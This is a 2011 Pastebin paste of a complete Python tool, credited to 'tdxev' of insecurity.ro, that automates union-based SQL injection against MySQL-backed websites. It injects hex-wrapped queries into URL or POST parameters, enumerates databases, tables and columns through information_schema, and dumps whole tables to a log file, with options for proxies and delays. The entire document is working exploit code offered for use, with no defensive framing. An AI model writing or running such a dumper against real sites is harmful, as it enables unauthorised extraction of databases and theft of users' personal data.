Advertisement
Guest User

Python SQL Dumper | Version 1:20 AM , March 02, 2011

a guest
Mar 2nd, 2011
435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 22.27 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #+----------------------------------------+
  3. #| code by : tdxev                        |
  4. #| website : tdxev.com                    |
  5. #| team    : insecurity.ro                |
  6. #| version : 1:20 AM , March 02, 2011     |
  7. #| bugs & suggestions  : [email protected] |
  8. #+ ---------------------------------------+
  9.  
  10.  
  11. import urllib2                                                          # http requests
  12. import time                                                             # for delay
  13. import sys                                                              # for arguments
  14. import os                                                               # run shell command to get number of rows, columns
  15. from urllib2  import URLError, HTTPError                                # for http errors
  16. from optparse import OptionParser                                       # to parse options
  17.  
  18.  
  19. # application settings
  20. SQLiPlace       =   '{inject_here}'                                     # word that indicate the place (column) where to inject SQL statement
  21. wordStart       =   's<><->|'                                           # indicate from where the result start
  22. wordEnd         =   '|<-><>e'                                           # indicate where the result ends
  23. wordSplit       =   '|<~>|'                                             # column data splitter | use as columns separator
  24. logFile         =   'log'                                               # dump file for all extracted data
  25. spaceChar       =   '+'                                                 # spaces in the url will be replaced whit this variable
  26. options         =   None                                                # keep the options that was been send to application
  27.  
  28. #
  29. # MYSQL START
  30. #
  31. SQL_db_nr       =   'SELECT COUNT(*) FROM `information_schema`.`schemata`'
  32. SQL_db_at       =   'SELECT `schema_name` FROM `information_schema`.`schemata` LIMIT %s,1'
  33. SQL_tb_nr       =   'SELECT COUNT(DISTINCT `table_name`) FROM `information_schema`.`tables` WHERE `table_schema`=%s'
  34. SQL_tb_at       =   'SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema`=%s LIMIT %s,1'
  35. SQL_cl_nr       =   'SELECT COUNT(DISTINCT `column_name`) FROM `information_schema`.`columns` WHERE `table_schema`=%s and `table_name`=%s'
  36. SQL_cl_at       =   'SELECT `column_name` FROM `information_schema`.`COLUMNS` WHERE `table_schema`=%s and `table_name`=%s LIMIT %s,1'
  37. SQL_dt_nr       =   'SELECT COUNT(*) FROM `%s`.`%s`'
  38. SQL_dt_at       =   'SELECT %s FROM `%s`.`%s` LIMIT %s,1'
  39. SQL_dt_at_0     =   'SELECT concat_ws(%s,%s) FROM `%s`.`%s` LIMIT %s,1'
  40.  
  41. SQL_max_len     =   'SELECT MAX(LENGTH(%s)) FROM `%s`.`%s`'
  42. SQL_if_null     =   'IFNULL(cast(`%s` as char),0x4e554c4c)'               # NULL Columns ifnull(`x`,'NULL') | Illegal mix of collations for operation 'UNION' unhex(hex(`x`)) or cast(`x` as char)
  43. #
  44. # MYSQL END
  45. #
  46.  
  47. #
  48.  
  49. # print to screen messages depending on the verbose type
  50. class LOG:
  51.     def toScreen(self,msgType,msg):
  52.         global options
  53.         if int(msgType) <= int(options.verbose):
  54.             print msg
  55.  
  56.     def toScreenResult(self,msgType,name_list):
  57.         global options
  58.         if int(msgType) <= int(options.verbose):
  59.             # print to scree data that has been extracted
  60.             rows, columns = os.popen('stty size', 'r').read().split()
  61.             print('-'*int(columns))
  62.             print('LIST:'+','.join(name_list))
  63.             print('-'*int(columns))
  64.  
  65. # dump into file information
  66. class toFile:
  67.  
  68.     def replace_all(self, text, dic):
  69.         for i,j in dic.iteritems():
  70.             text = text.replace(i,j)
  71.         return text
  72.  
  73.     def writeBanner(self, info):
  74.         f = open(logFile,'a')                        # open file for append
  75.         f.write('+-'+ '-'*len(info) + '-+' +"\n")    # write banner
  76.         f.write('| ' + info + ' |' +"\n")
  77.         f.write('+-'+ '-'*len(info) + '-+' +"\n")
  78.         f.close()                                    # close file
  79.  
  80.     def writeRowBanner(self, col_list,col_len):
  81.  
  82.         up_s  = ''
  83.         mid_s = ''
  84.         for i in range(len(col_list)):
  85.             up_s  = up_s + '+-' +               '-'*(int(col_len[i])+2)
  86.             mid_s = mid_s +'| ' + col_list[i] + ' '*((int(col_len[i])+2)-len(col_list[i]))
  87.  
  88.         f = open(logFile,'a')                        # open file for append
  89.         f.write(up_s + '+' + "\n")    # write banner
  90.         f.write(mid_s + '|' + "\n")   # write banner
  91.         f.write(up_s + '+' + "\n")    # write banner
  92.         f.close()                                    # close file
  93.  
  94.     def writeRowLine(self, col_values,col_len):
  95.         mid_s = ''
  96.         # list of char that will be replaced whit spaces
  97.         reps = {'\n':' ', '\r':' ', '\t':' '}
  98.  
  99.         for i in range(len(col_values)):
  100.             col_values[i] = self.replace_all(col_values[i],reps)
  101.             mid_s = mid_s +'| ' + col_values[i] + ' '*((int(col_len[i])+2)-len(col_values[i]))
  102.  
  103.         f = open(logFile,'a')                        # open file for append
  104.         f.write(mid_s + '|' + "\n")                  # write line
  105.         f.close()                                    # close file
  106.  
  107.     def writeRowEnd(self, col_list,col_len):
  108.         up_s  = ''
  109.         for i in range(len(col_list)):
  110.             up_s  = up_s + '+-' +               '-'*(int(col_len[i])+2)
  111.  
  112.         f = open(logFile,'a')                        # open file for append
  113.         f.write(up_s + '+' + "\n")                   # write line
  114.         f.close()                                    # close file
  115.  
  116.     def write(self, info):
  117.         d = open(logFile,'a')                   # open file for append
  118.         d.write(info +"\n")                     # write a line
  119.         d.close()                               # close file
  120.  
  121. # class that is responsible for injection/requests/extract data
  122. class ENGINE:
  123.  
  124.     # init class objects
  125.     def __init__(self):
  126.         global SQLiPlace
  127.         global wordStart
  128.         global wordEnd
  129.  
  130.         self.place          = SQLiPlace
  131.         self.wordStart      = wordStart
  132.         self.wordEnd        = wordEnd
  133.         self.last_request   = ''
  134.         self.last_query     = ''
  135.  
  136.         #increase by one on each repetitive error
  137.         self.sleepCount     = 0
  138.  
  139.     def setproxy(self,proxyaddr):
  140.         # set proxy
  141.         print proxyaddr
  142.         proxy   = urllib2.ProxyHandler({'http': proxyaddr})
  143.         opener  = urllib2.build_opener(proxy)
  144.         urllib2.install_opener(opener)
  145.  
  146.     # return url content
  147.     def getPage(self, url, params, method):
  148.         global options
  149.  
  150.         # replace spaces whit spaceChar
  151.         url     = url.replace(' ', spaceChar);
  152.         params  = params.replace(' ', spaceChar)
  153.  
  154.         # time delay between each request
  155.         time.sleep(float(options.delay))
  156.  
  157.         # add headers
  158.         headers = { 'User-Agent' : options.agent }
  159.  
  160.         # make http request
  161.         try:
  162.  
  163.             if method == 'GET':
  164.                 self.last_request = url + '?' + params
  165.                 LOG().toScreen(3,self.last_request)
  166.                 request_data = urllib2.Request(self.last_request, None, headers)
  167.                 page = urllib2.urlopen(request_data)
  168.                 LOG().toScreen(4,page.info())
  169.  
  170.             if method == 'POST':
  171.                 self.last_request = url + "\tPOST: " + params
  172.                 LOG().toScreen(3,url + "\tPOST: " + params)
  173.                 request_data = urllib2.Request(url, params, headers)
  174.                 page = urllib2.urlopen(request_data)
  175.                 LOG().toScreen(4,page.info())
  176.  
  177.         except HTTPError, e:
  178.             # Display warning
  179.             print 'The server couldn\'t fulfill the request.'
  180.             print 'Error code: ', e.code
  181.             print 'REQUEST :',self.last_request
  182.             print "Retry in "+ str(self.sleepCount) + " seconds..."
  183.             time.sleep(self.sleepCount)
  184.             self.sleepCount += 1
  185.  
  186.             # Retry to connect
  187.             textpage = self.getPage(url, params, method)
  188.             self.sleepCount = 0
  189.             return textpage
  190.  
  191.         except URLError, e:
  192.             # Display warning
  193.             print 'We failed to reach a server.'
  194.             print 'Reason: ', e.reason
  195.             print 'REQUEST :',self.last_request
  196.             print "Retry in "+ str(self.sleepCount) + " seconds..."
  197.             time.sleep(self.sleepCount)
  198.  
  199.             self.sleepCount += 1
  200.  
  201.             # Retry to connect
  202.             textpage = self.getPage(url, params, method)
  203.             self.sleepCount = 0
  204.             return textpage
  205.  
  206.         textpage = page.read()
  207.         LOG().toScreen(5,textpage)
  208.  
  209.         return textpage
  210.  
  211.     def toSQLHex(self, text):
  212.         return "0x" + text.encode('hex_codec')
  213.  
  214.     # inject query in parameters
  215.     def inject_sql(self, params, sql_query):
  216.         self.last_query = sql_query
  217.         LOG().toScreen(2,'QUERY: '+sql_query)
  218.         return params.replace(self.place, 'concat(' + self.toSQLHex(self.wordStart) + ',(' + sql_query + ' ),' + self.toSQLHex(self.wordEnd) + ')' )
  219.  
  220.     # extract sql query result from the page
  221.     def extract_data(self, page):
  222.         s = page.find(self.wordStart)
  223.         e = page.find(self.wordEnd)
  224.  
  225.         # if one of tow words not appear in the page something goes wrong | ERROR
  226.         if s == -1 or e == -1 :
  227.             print "ERROR : Key words not found in the page!"
  228.             return False
  229.  
  230.         data = page[s + len(self.wordStart) :e]
  231.         LOG().toScreen(1,'EXTRACTED DATA: ' + data)
  232.         return data
  233.  
  234. # DATABASES
  235. class DATABASES:
  236.  
  237.     # init class objects
  238.     def __init__(self):
  239.         global options
  240.  
  241.     # extract number of data bases
  242.     def get_nr(self):
  243.         query = SQL_db_nr
  244.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
  245.         rowNr = ENGINE().extract_data(page)
  246.         return rowNr
  247.  
  248.     # extract data base name at position pos
  249.     def get_at(self,pos):
  250.         query = SQL_db_at % (pos)
  251.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
  252.         return ENGINE().extract_data(page)
  253.  
  254.     # extract all data bases and dump in log file
  255.     def get_all(self):
  256.         LOG().toScreen(1,'Extract the number of rows...')
  257.         rowsNr = self.get_nr()
  258.         toFile().writeBanner('[DATABASES] [' + rowsNr + ']')
  259.         name_list = []
  260.         LOG().toScreen(1,'Extract data from columns...')
  261.         for nr in range( int(rowsNr) ):
  262.             name = self.get_at(nr)
  263.             name_list.append(name)
  264.             toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
  265.         toFile().write('LIST :' + ','.join(name_list) )
  266.         toFile().write("")
  267.         LOG().toScreenResult(1,name_list)
  268.         return name_list
  269.  
  270. # TABLES
  271. class TABLES:
  272.     # init class objects
  273.     def __init__(self):
  274.         global options
  275.  
  276.     # extract number of tables from selected database
  277.     def get_nr(self, db_name):
  278.         query = query = SQL_tb_nr % (ENGINE().toSQLHex(db_name))
  279.         page  = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
  280.         return ENGINE().extract_data(page)
  281.  
  282.     # extract table name at position pos
  283.     def get_at(self, db_name, pos):
  284.         query = SQL_tb_at % (ENGINE().toSQLHex(db_name), pos)
  285.         page  = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
  286.         return ENGINE().extract_data(page)
  287.  
  288.     # extract all tables from database and dump in log file
  289.     def get_all(self,db_name):
  290.         LOG().toScreen(1,'Extract the number of rows...')
  291.         rowsNr = self.get_nr(db_name)
  292.         toFile().writeBanner('[TABLES] `' + db_name + '`  [' + rowsNr + ']')
  293.         name_list = []
  294.         LOG().toScreen(1,'Extract data from columns...')
  295.         for nr in range( int(rowsNr) ):
  296.             name = self.get_at(db_name,nr)
  297.             name_list.append(name)
  298.             toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
  299.         toFile().write('LIST :' + ','.join(name_list) )
  300.         toFile().write("")
  301.         LOG().toScreenResult(1,name_list)
  302.         return name_list
  303.  
  304. # COLUMNS
  305. class COLUMNS:
  306.     # init class objects
  307.     def __init__(self):
  308.         global options
  309.  
  310.     # extract number of columns from selected table
  311.     def get_nr(self, db_name, tb_name):
  312.         query = SQL_cl_nr % (ENGINE().toSQLHex(db_name),ENGINE().toSQLHex(tb_name))
  313.         page  = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
  314.         return ENGINE().extract_data(page)
  315.  
  316.     # extract column name at position pos
  317.     def get_at(self, db_name, tb_name, pos):
  318.         query = SQL_cl_at % (ENGINE().toSQLHex(db_name), ENGINE().toSQLHex(tb_name), pos)
  319.         page  = ENGINE().getPage(options.url,ENGINE().inject_sql(options.params,query),options.method)
  320.         return ENGINE().extract_data(page)
  321.  
  322.     # extract all tables from database and dump in log file
  323.     def get_all(self, db_name, tb_name):
  324.  
  325.         LOG().toScreen(1,'Extract the number of rows...')
  326.         rowsNr = self.get_nr(db_name, tb_name)
  327.         toFile().writeBanner('[COLUMNS] `' + db_name + '`.`' + tb_name + '`  [' + str(rowsNr) + ']')
  328.         name_list = []
  329.  
  330.         LOG().toScreen(1,'Extract data from columns...')
  331.         for nr in range( int(rowsNr) ):
  332.             name = self.get_at(db_name, tb_name, nr)
  333.             name_list.append(name)
  334.             toFile().write('[' + str(nr).zfill(len(rowsNr)) + '] ' + name)
  335.         toFile().write('LIST :' + ','.join(name_list) )
  336.         toFile().write("")
  337.  
  338.         LOG().toScreenResult(1,name_list)
  339.  
  340.         return name_list
  341.  
  342. # DATA
  343. class DATA:
  344.     # init class objects
  345.     def __init__(self):
  346.         global options
  347.  
  348.     # extract max length of column content | need only for visual design
  349.     def get_maxLen(self, db_name, tb_name, cl_name):
  350.         query = SQL_max_len % (cl_name,db_name,tb_name)
  351.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
  352.         return ENGINE().extract_data(page)
  353.  
  354.     # extract number of rows from table
  355.     def get_nr(self, db_name, tb_name):
  356.         query = SQL_dt_nr % (db_name,tb_name)
  357.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
  358.         return ENGINE().extract_data(page)
  359.  
  360.     # extract value from specified column
  361.     def get_at(self, db_name, tb_name, cl_name, pos):
  362.         query = SQL_dt_at % (cl_name, db_name, tb_name, pos)
  363.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params,query), options.method)
  364.         return ENGINE().extract_data(page)
  365.  
  366.     # mysql concat_ws
  367.     def get_at_ws(self, db_name, tb_name, cl_list, pos):
  368.         query = SQL_dt_at_0 % (ENGINE().toSQLHex(wordSplit), cl_list, db_name, tb_name, pos)
  369.         page  = ENGINE().getPage(options.url, ENGINE().inject_sql(options.params, query), options.method)
  370.         return ENGINE().extract_data(page)
  371.  
  372.     # extract columns values from specified row and return array
  373.     def get_row(self, db_name, tb_name, cl_list, pos):
  374.         cl_list_ifnull_array = []
  375.         cl_list_ifnull       = ''
  376.         # add IFNULL statement for each column
  377.         for col in cl_list.split(','):
  378.             cl_list_ifnull = cl_list_ifnull + SQL_if_null % ( col ) + ','
  379.             cl_list_ifnull_array.append(SQL_if_null % ( col ))
  380.         cl_list_ifnull = cl_list_ifnull[:-1]
  381.  
  382.         # try concat_ws syntax
  383.         data = self.get_at_ws(db_name, tb_name, cl_list_ifnull, pos)
  384.         if data != False:
  385.             return data.split(wordSplit)  
  386.  
  387.         print "Some error has apper when using concat_ws try to extract data column by column"
  388.  
  389.         # get data column by column
  390.         col_value = []
  391.         for col in cl_list_ifnull_array:
  392.             data = self.get_at(db_name, tb_name, col, pos)
  393.             if data != False:
  394.                 col_value.append(data)
  395.             else:
  396.                 print "Some error has apper when trying to extract data from '", col,"'"
  397.  
  398.         return col_value
  399.  
  400.     # extract all data from selected columns
  401.     def get_all(self, db_name, tb_name, cl_list):
  402.         # if column list is empty exit
  403.         if cl_list == '':
  404.             return 0
  405.  
  406.         # get number of rows that will be extracted
  407.         rowsNr = self.get_nr(db_name, tb_name)
  408.         if int(rowsNr) < 1 :
  409.             toFile().writeBanner('[DATA] `' + db_name + '`.`' + tb_name + '`  [' + str(rowsNr) + ']')
  410.             return 0
  411.  
  412.  
  413.  
  414.         # try to extract max length of each column content | need only for visual design
  415.         #-------------------------------------------------------------[ GET LENGTH START
  416.         columns_list = cl_list.split(',')
  417.         columns_len  = []
  418.  
  419.         for col in columns_list:
  420.             col_len =  self.get_maxLen(db_name, tb_name, SQL_if_null % ( col ) )
  421.             if int(col_len) < len(col) :
  422.                 col_len = len(col)
  423.             columns_len.append(col_len)  
  424.         #-------------------------------------------------------------[ GET LENGTH END
  425.  
  426.  
  427.         toFile().writeBanner('[DATA] `' + db_name + '`.`' + tb_name + '`  [' + str(rowsNr) + ']')
  428.         toFile().writeRowBanner(columns_list,columns_len)        
  429.  
  430.  
  431.         # tray to extract data using CONCAT_WS
  432.         for nr in range( int(rowsNr) ):
  433.             name = self.get_row(db_name,tb_name,cl_list,nr)
  434.             toFile().writeRowLine(name,columns_len)
  435.  
  436.         toFile().writeRowEnd(name,columns_len)
  437.         toFile().write("")
  438.  
  439. # dump entire table
  440. def dump_table(db_name,tb_name) :
  441.     columns_list = COLUMNS().get_all(db_name,tb_name)
  442.     DATA().get_all(db_name, tb_name, ','.join(columns_list))
  443.  
  444. # dump entire database
  445. def dump_database(db_name) :
  446.     tables_list = TABLES().get_all(db_name)
  447.     for tb_name in tables_list :
  448.         dump_table(db_name,tb_name)
  449.  
  450. # dump all databases
  451. def dump_databases() :
  452.     database_list = DATABASES().get_all()
  453.     for db_name in database_list :
  454.         tables_list = TABLES().get_all(db_name)
  455.         for tb_name in tables_list :
  456.             dump_table(db_name,tb_name)
  457.  
  458.  
  459. def main(argv):
  460.     global options
  461.     usage = "%s --help        for more options" %  sys.argv[0]
  462.     parser = OptionParser(usage=usage)
  463.  
  464.     parser.add_option("-u", "--url", dest="url",
  465.                     help="URL where the injection will be made")
  466.  
  467.     parser.add_option("-p", "--params", dest="params",
  468.                     help="Parameters that will be send to the page")
  469.  
  470.     parser.add_option("-m", "--method", dest="method",default='GET',
  471.                     help="Method that will be use to send params GET | POST (Default GET)")
  472.  
  473.     parser.add_option("--user-agent", dest="agent",default='',
  474.                     help="Custom user-agent (Default empty string)")
  475.  
  476.     parser.add_option("--proxy", dest="proxy",default = None,
  477.                     help="Set a http proxy (default = None), ex --proxy \"109.123.100.55:3128\"")
  478.  
  479.     parser.add_option("--delay", dest="delay",default = 0,
  480.                     help="Aplay time delay between http requests (Default 0 seconds)")
  481.  
  482.     parser.add_option("--dbs", dest="get_dbs",action="store_true",
  483.                     help="Extract all databases")
  484.  
  485.     parser.add_option("--tables", dest="get_tbs",action="store_true",
  486.                     help="Extract all tables from database specified by -D")
  487.  
  488.     parser.add_option("--columns", dest="get_cols",action="store_true",
  489.                     help="Extract all columns from tables specified by -T")
  490.  
  491.     parser.add_option("--dump", dest="get_data",action="store_true",
  492.                     help="Dump data from database, table, columns")
  493.  
  494.     parser.add_option("-D", dest="db_name",
  495.                     help="Specify which database to use")
  496.  
  497.     parser.add_option("-T", dest="tb_name",
  498.                     help="Specify which table to use")
  499.  
  500.     parser.add_option("-C", dest="columns_name",
  501.                     help="Specify which columns to use ex. ( -C 'id,user,email')")
  502.  
  503.     parser.add_option("-v", dest="verbose",default=1,
  504.                     help="Verbose mode (delault 1)")
  505.  
  506.     options, args = parser.parse_args()
  507.  
  508.     if not options.url or not options.params:
  509.         parser.error("you must enter -u;--url and -p; --params ")
  510.  
  511.     # exec user commands
  512.     if options.proxy :
  513.         ENGINE().setproxy(options.proxy)
  514.  
  515.  
  516.     if options.get_dbs:
  517.         DATABASES().get_all()
  518.  
  519.     if options.get_tbs:
  520.         if not options.db_name :
  521.             parser.error("You must specify what database to use to extract tables")
  522.         TABLES().get_all(options.db_name)
  523.  
  524.     if options.get_cols:
  525.         if not options.db_name :
  526.             parser.error("You must specify what database to use to extract columns")
  527.         if not options.tb_name :
  528.             parser.error("You must specify what table to use to extract columns")
  529.         COLUMNS().get_all(options.db_name,options.tb_name)
  530.  
  531.  
  532.     if options.get_data:
  533.         if not options.db_name :
  534.             print "You can specify from what database will extract data by using : -D database_name"
  535.             ans = raw_input("You want to extract all data from all databases`? (Y/N) :")
  536.             if ans.lower() == 'y' :
  537.                 dump_databases()
  538.                 sys.exit(0)
  539.             else :
  540.                 sys.exit(0)
  541.  
  542.         if not options.tb_name :
  543.             print "You can specify from what table will extract data by using : -T table_name"
  544.             ans = raw_input("You want to extract all data from data base `" + options.db_name +"`? (Y/N) :")
  545.             if ans.lower() == 'y' :
  546.                 dump_database(options.db_name)
  547.                 sys.exit(0)
  548.             else :
  549.                 sys.exit(0)
  550.  
  551.  
  552.         if not options.columns_name :
  553.             print "You can specify from what columns will extract data by using : -C column_name,column_name"
  554.             ans = raw_input("You want to extract all data from table `" + options.tb_name +"`? (Y/N) :")
  555.             if ans.lower() == 'y' :
  556.                 dump_table(options.db_name, options.tb_name)
  557.                 sys.exit(0)
  558.             else :
  559.                 sys.exit(0)
  560.         else:
  561.             # if has been from what column will extract data
  562.             DATA().get_all(options.db_name,options.tb_name,options.columns_name)
  563.  
  564.  
  565. if __name__ == "__main__":
  566.     main(sys.argv[1:])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement